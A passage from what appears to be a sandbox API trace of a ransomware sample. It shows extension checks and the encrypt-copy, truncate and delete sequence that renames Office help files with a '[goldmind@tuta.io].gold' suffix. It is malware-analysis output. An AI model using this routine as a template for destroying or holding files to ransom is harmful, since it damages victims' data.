lpString2="D.HXS") returned -1 [0108.806] lstrlenW (lpString=".pdf") returned 4 [0108.807] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0108.807] lstrlenW (lpString=".xls") returned 4 [0108.807] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0108.807] lstrlenW (lpString=".xlsx") returned 5 [0108.807] lstrcmpiW (lpString1=".xlsx", lpString2="D.HXS") returned -1 [0108.807] lstrlenW (lpString=".ppt") returned 4 [0108.807] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0108.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0108.807] lstrlenW (lpString=".zip") returned 4 [0108.807] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0108.807] lstrlenW (lpString=".rar") returned 4 [0108.807] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0108.807] lstrlenW (lpString=".bz2") returned 4 [0108.807] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0108.807] lstrlenW (lpString=".7z") returned 3 [0108.807] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0108.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0108.807] lstrlenW (lpString=".dbf") returned 4 [0108.807] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0108.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0108.807] lstrlenW (lpString=".1cd") returned 4 [0108.807] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0108.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0108.807] lstrlenW (lpString=".jpg") returned 4 [0108.807] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0108.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0108.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0108.807] lstrlenW (lpString=".doc") returned 4 [0108.807] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0108.807] lstrlenW (lpString=".docx") returned 5 [0108.807] lstrcmpiW (lpString1=".docx", lpString2="D.HXS") returned -1 [0108.807] lstrlenW (lpString=".pdf") returned 4 [0108.807] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0108.807] lstrlenW (lpString=".xls") returned 4 [0108.807] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0108.807] lstrlenW (lpString=".xlsx") returned 5 [0108.807] lstrcmpiW (lpString1=".xlsx", lpString2="D.HXS") returned -1 [0108.807] lstrlenW (lpString=".ppt") returned 4 [0108.807] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0108.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0108.807] lstrlenW (lpString=".zip") returned 4 [0108.807] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0108.807] lstrlenW (lpString=".rar") returned 4 [0108.807] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0108.807] lstrlenW (lpString=".bz2") returned 4 [0108.807] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0108.807] lstrlenW (lpString=".7z") returned 3 [0108.807] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0108.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0108.807] lstrlenW (lpString=".dbf") returned 4 [0108.807] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0108.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0108.807] lstrlenW (lpString=".1cd") returned 4 [0108.807] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0108.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0108.808] lstrlenW (lpString=".jpg") returned 4 [0108.808] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0108.808] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0108.808] lstrlenW (lpString="WINWORD_COL.HXC") returned 15 [0108.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.809] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=631) returned 1 [0108.809] CloseHandle (hObject=0x380) returned 1 [0108.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc")) returned 0x20 [0108.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.809] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.809] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0108.810] GetLastError () returned 0x0 [0108.810] ReadFile (in: hFile=0x380, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x277, lpOverlapped=0x0) returned 1 [0108.811] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x280, lpOverlapped=0x0) returned 1 [0108.812] ReadFile (in: hFile=0x380, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.812] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0108.812] SetEndOfFile (hFile=0x3a8) returned 1 [0108.812] CloseHandle (hObject=0x3a8) returned 1 [0108.814] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.814] SetEndOfFile (hFile=0x380) returned 1 [0108.816] CloseHandle (hObject=0x380) returned 1 [0108.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc")) returned 1 [0108.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0108.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0108.817] lstrlenW (lpString=".doc") returned 4 [0108.817] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0108.817] lstrlenW (lpString=".docx") returned 5 [0108.817] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0108.817] lstrlenW (lpString=".pdf") returned 4 [0108.817] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0108.817] lstrlenW (lpString=".xls") returned 4 [0108.817] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0108.817] lstrlenW (lpString=".xlsx") returned 5 [0108.817] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0108.817] lstrlenW (lpString=".ppt") returned 4 [0108.817] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0108.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0108.817] lstrlenW (lpString=".zip") returned 4 [0108.817] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0108.817] lstrlenW (lpString=".rar") returned 4 [0108.817] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0108.817] lstrlenW (lpString=".bz2") returned 4 [0108.817] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0108.817] lstrlenW (lpString=".7z") returned 3 [0108.817] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0108.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0108.817] lstrlenW (lpString=".dbf") returned 4 [0108.817] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0108.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0108.817] lstrlenW (lpString=".1cd") returned 4 [0108.817] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0108.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0108.817] lstrlenW (lpString=".jpg") returned 4 [0108.818] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0108.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0108.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0108.818] lstrlenW (lpString=".doc") returned 4 [0108.818] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0108.818] lstrlenW (lpString=".docx") returned 5 [0108.818] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0108.818] lstrlenW (lpString=".pdf") returned 4 [0108.818] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0108.818] lstrlenW (lpString=".xls") returned 4 [0108.818] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0108.818] lstrlenW (lpString=".xlsx") returned 5 [0108.818] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0108.818] lstrlenW (lpString=".ppt") returned 4 [0108.818] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0108.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0108.818] lstrlenW (lpString=".zip") returned 4 [0108.818] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0108.818] lstrlenW (lpString=".rar") returned 4 [0108.818] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0108.818] lstrlenW (lpString=".bz2") returned 4 [0108.818] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0108.818] lstrlenW (lpString=".7z") returned 3 [0108.818] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0108.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0108.818] lstrlenW (lpString=".dbf") returned 4 [0108.818] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0108.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0108.818] lstrlenW (lpString=".1cd") returned 4 [0108.818] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0108.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0108.818] lstrlenW (lpString=".jpg") returned 4 [0108.818] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0108.818] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0108.818] lstrlenW (lpString="WINWORD_COL.HXT") returned 15 [0108.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.819] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=207) returned 1 [0108.819] CloseHandle (hObject=0x380) returned 1 [0108.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt")) returned 0x20 [0108.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.819] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.819] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0108.820] GetLastError () returned 0x0 [0108.820] ReadFile (in: hFile=0x380, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xcf, lpOverlapped=0x0) returned 1 [0108.821] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0108.821] ReadFile (in: hFile=0x380, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.821] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0108.821] SetEndOfFile (hFile=0x3a8) returned 1 [0108.822] CloseHandle (hObject=0x3a8) returned 1 [0108.822] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.822] SetEndOfFile (hFile=0x380) returned 1 [0108.823] CloseHandle (hObject=0x380) returned 1 [0108.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.824] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt")) returned 1 [0108.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0108.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0108.825] lstrlenW (lpString=".doc") returned 4 [0108.825] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0108.825] lstrlenW (lpString=".docx") returned 5 [0108.825] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0108.825] lstrlenW (lpString=".pdf") returned 4 [0108.825] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0108.825] lstrlenW (lpString=".xls") returned 4 [0108.825] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0108.825] lstrlenW (lpString=".xlsx") returned 5 [0108.825] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0108.825] lstrlenW (lpString=".ppt") returned 4 [0108.825] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0108.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0108.825] lstrlenW (lpString=".zip") returned 4 [0108.825] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0108.825] lstrlenW (lpString=".rar") returned 4 [0108.825] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0108.825] lstrlenW (lpString=".bz2") returned 4 [0108.825] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0108.825] lstrlenW (lpString=".7z") returned 3 [0108.825] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0108.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0108.825] lstrlenW (lpString=".dbf") returned 4 [0108.825] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0108.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0108.825] lstrlenW (lpString=".1cd") returned 4 [0108.825] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0108.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0108.825] lstrlenW (lpString=".jpg") returned 4 [0108.825] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0108.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0108.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0108.825] lstrlenW (lpString=".doc") returned 4 [0108.825] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0108.825] lstrlenW (lpString=".docx") returned 5 [0108.825] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0108.825] lstrlenW (lpString=".pdf") returned 4 [0108.825] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0108.825] lstrlenW (lpString=".xls") returned 4 [0108.825] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0108.825] lstrlenW (lpString=".xlsx") returned 5 [0108.825] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0108.825] lstrlenW (lpString=".ppt") returned 4 [0108.825] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0108.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0108.826] lstrlenW (lpString=".zip") returned 4 [0108.826] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0108.826] lstrlenW (lpString=".rar") returned 4 [0108.826] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0108.826] lstrlenW (lpString=".bz2") returned 4 [0108.826] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0108.826] lstrlenW (lpString=".7z") returned 3 [0108.826] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0108.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0108.826] lstrlenW (lpString=".dbf") returned 4 [0108.826] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0108.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0108.826] lstrlenW (lpString=".1cd") returned 4 [0108.826] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0108.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0108.826] lstrlenW (lpString=".jpg") returned 4 [0108.826] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0108.826] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0108.826] lstrlenW (lpString="WINWORD_F_COL.HXK") returned 17 [0108.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.827] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=114) returned 1 [0108.827] CloseHandle (hObject=0x380) returned 1 [0108.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk")) returned 0x20 [0108.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.827] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.827] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0108.828] GetLastError () returned 0x0 [0108.828] ReadFile (in: hFile=0x380, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x72, lpOverlapped=0x0) returned 1 [0108.829] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x80, lpOverlapped=0x0) returned 1 [0108.829] ReadFile (in: hFile=0x380, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.829] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0108.830] SetEndOfFile (hFile=0x3a8) returned 1 [0108.830] CloseHandle (hObject=0x3a8) returned 1 [0108.830] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.830] SetEndOfFile (hFile=0x380) returned 1 [0108.831] CloseHandle (hObject=0x380) returned 1 [0108.832] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk")) returned 1 [0108.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0108.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0108.832] lstrlenW (lpString=".doc") returned 4 [0108.832] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.832] lstrlenW (lpString=".docx") returned 5 [0108.832] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.832] lstrlenW (lpString=".pdf") returned 4 [0108.833] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.833] lstrlenW (lpString=".xls") returned 4 [0108.833] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.833] lstrlenW (lpString=".xlsx") returned 5 [0108.833] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.833] lstrlenW (lpString=".ppt") returned 4 [0108.833] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0108.833] lstrlenW (lpString=".zip") returned 4 [0108.833] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.833] lstrlenW (lpString=".rar") returned 4 [0108.833] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.833] lstrlenW (lpString=".bz2") returned 4 [0108.833] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.833] lstrlenW (lpString=".7z") returned 3 [0108.833] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0108.833] lstrlenW (lpString=".dbf") returned 4 [0108.833] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 